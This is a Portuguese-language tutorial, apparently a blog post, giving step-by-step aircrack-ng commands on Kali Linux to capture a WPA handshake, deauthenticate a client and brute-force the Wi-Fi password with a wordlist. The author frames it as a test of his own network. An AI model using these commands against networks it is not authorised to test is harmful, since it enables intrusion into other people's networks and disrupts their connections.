Por fim, para matar a curiosidade de alguns, vou mostrar como
quebrar a senha de uma rede Wi-Fi. Usei
Kali Linux 2.0 para demonstração.
Obs.: sou um dos administradores da rede e sei a senha. Só farei isso para fins didáticos, assim mostro o uso da ferramenta e testo a segurança da rede.
Primeiro passo verifique sua placa de rede sem fio:
# iwconfig
Aqui resultou em "wlan0".
Se a interface não estiver ativada, ative-a:
# ifconfig wlan0 up
Liste as redes sem fio detectadas:
# iwlist wlan0 scanning
Aparecerá uma lista onde cada "Cell" será uma rede.
Anote o "Address" e o "Channel" da rede que deseja testar. O nome dela está em "ESSID", caso queira escolher pelo nome.
Abra outro terminal. Coloque a placa de rede em modo de monitoramento:
# airmon-ng start wlan0
Use:
# ifconfig
E veja que agora o nome da placa será identificada por "wlan0mon" (mon de monitoramento).
Obs.: caso queira interromper o processo, precisará sair do modo de monitoramento. Então use: "
airmon-ng stop wlan0mon". Mas se quiser prosseguir, não pare o modo de monitoramento.
Execute os seguintes comandos para não receber mensagem de erro, se seu dispositivo ficou wlan0mon (ao invés de criar outro chamado mon0):
# ifconfig wlan0mon down
# iwconfig wlan0mon mode monitor
# ifconfig wlan0mon up
Depois execute o comando para capturar dados:
# airodump-ng wlan0mon --bssid [endereço aqui] --channel [canal] --write testewifi
Troque o "[endereço]" pelo endereço copiado e o "[canal]" pelo canal copiado antes.
Obs.: testewifi pode ser qualquer nome.
Aparecerá algo assim:
Aquele "BSSID" no final, mais à direita, é o meu celular conectado na mesma rede do meu computador. Será preciso derrubar ele, o meu celular, para que ele se conectar automaticamente novamente na rede, e nesse momento a ferramenta capturará dados da senha da rede durante o processo conhecido como
handshake.
Abra um terceiro terminal e use o comando:
# aireplay-ng -0 100 -a [endereço do roteador] -c [endereço do cliente a ser derrubado] wlan0mon --ignore-negative-one
O celular (cliente a ser derrubado) vai cair! Quando isso acontecer, cancele o processo anterior com
Ctrl + c. O celular irá se conectar automaticamente de novo realizando o "handshake".
Cancele o segundo comando também.
Próximo comando:
# aircrack-ng testewifi-01.cap -w wordlist.txt
Obs.: "testewifi-01.cap" foi criado quando usamos o "testewifi" num comando anterior.
wordlist.txt é um arquivo com muitas senhas para
Força Bruta que pode ser encontrado na internet.
Resultado será a senha da rede:
Lembrando que esse exemplo foi puramente didático, já que eu sabia a senha e administro o roteador.
Links que me foram úteis: